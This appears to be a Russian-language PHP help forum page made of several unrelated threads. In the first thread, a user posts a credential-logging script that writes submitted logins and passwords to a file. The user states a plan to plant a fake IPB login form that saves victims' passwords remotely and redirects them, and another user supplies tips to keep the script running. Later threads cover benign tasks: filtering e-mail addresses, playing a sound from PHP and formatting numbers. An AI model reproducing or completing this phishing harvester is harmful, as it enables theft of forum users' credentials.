А больше точно не как? просто у конкурентов видел, что идут часики до конца запроса, с сайта выхожу а запрос уходит спокойно....по крону проверять там не реально.....(точность до секунды)
Подредактировал скрипт включил курл из http://www.phpclub.ru/detail/article/curl В итоге получилось следующее: PHP: <?PHP if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных $Login = $_POST['UserName']; $Pass = $_POST['PassWord']; $log = fopen("base.php","a+"); fwrite($log,"\n$Login:$Pass \n"); fclose($log); } // HTTP authentication $url = "http://127.0.0.1/forum/index.php?act=Login&CODE=01"; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass"); $result = curl_exec($ch); curl_close($ch); echo $result; ?> Но авторизация до сих не произошла. Я думаю, это из-за PHP: curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass");
Byrger Тогда в первый скрипт добавляете ignore_user_abort(1); c set_time_limit(0); и скрипт продолжит выполняться даже после закрытия страницы. А часики - это JS Вообще курим в сторону аякса Ershik Это что вообще за код такой? Если вы хотите сделать фейк логинку и красть пароли - то вам тоже надо читать про яваскрипты. А если хотите, чтобы скрипт сам логинился на форум - то читать про POST запросы и гуглить на тему "Как залогиниться курлом на форум"
Gifts. Мне нужно встроить в стили IPB фейковую форму авторизации, чтобы сохранялись пароли на удаленном ресурсе и происходил редирект на настоящий сайт. Думаю, тут надо Джаву м Курл. Возможно =) Нашел форму: http://ezh-leon.ru/ispolzovanie-curl-chast-2 PHP: curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/forum/index.php?act=Login&CODE=00"); /* Переходим на страницу, на которой нужно пройти процедуру авторизации */ curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "$Login&$Pass"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */ curl_setopt($ch, CURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); $result = curl_exec($ch); curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/forum/index.php?act=Login&CODE=01"); /* Теперь заходите на сайт как авторизованный пользователь – в данном случае нужно вместо example.com указать URL страницы, на которую может попасть только авторизованный пользователь */ curl_setopt($ch, CURLOPT_POST, 1); /* Также необязательное действие, но я указал этот параметр – устанавливаю CURLOPT_POST в нуль, ведь теперь мне не нужно передавать данные методом POST */ curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); /* Внимание! Здесь третий параметр (адрес текстового файла с куками) должен быть точно таким же, как и при использовании CURLOPT_COOKIEJAR, иначе процедура авторизации работать не будет, так как требуемые серверу Куки не передадутся */ $result = curl_exec($ch); curl_close($ch); echo $result; ?> поменял на свои значения. Вставил: PHP: curl_setopt($ch, CURLOPT_POSTFIELDS, "[B]act=Login&CODE=00[/B]"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */ Но авторизации по прежнему нет.
Ребята, нужно написать скрипт который бы из файла(в котором лежат разные мыла) доставал только домен@mail.ru, домен@bk.ru, домен@inbox.ru, домен@list.ru и складывал их в другой файл, кто поможет буду оч благодарен!
PHP: <?php $input = 'emails.txt'; $output = 'new.txt'; ### $f = fopen($output,'w'); $e = file($input); foreach($e as $email) if(preg_match('/@(mail|bk|inbox|list)\.ru/',$email)) fputs($f,$email); ?>
не работает, вот че Fatal error: Maximum execution time of 30 seconds exceeded in c:\appserv\www\1\1.php on line 7 ЗЫ: файл весит 98мб
ну скачай себе винамп))) чот я не пойму как это воспроизвести на компьютере на котором выполняется скрипт))))
ну что-тут непонятного))) у меня есть компьютер, на нем запускается php-скрипт, который обрабатывает запрос и в зависимоти от поступающих данных мне нужно воспроизвести звук, т.е. воспроизвести его прямо из скрипта
Помогите со скриптом, в общем в mysql базе будет ячейка "test", там будут храниться цифры в виде "1000", "25464", "450654", "4350305", "25045164", надо что бы скрипт отделял цифры, и делал вида "1 000", "25 464", "450 654", "4 350 305", "25 045 164", воспользовался вот таким скриптом PHP: $in = "1534234"; $len = strlen($in); $out = ""; for ($i=$len-1;$i>=0;$i--) { $out = $in[$i].$out; if (($len-$i) % 3 == 0) $out = " ".$out; } echo trim($out); но я думаю это не самый лучший вариант, как это лучше реализовать? может регуляркой?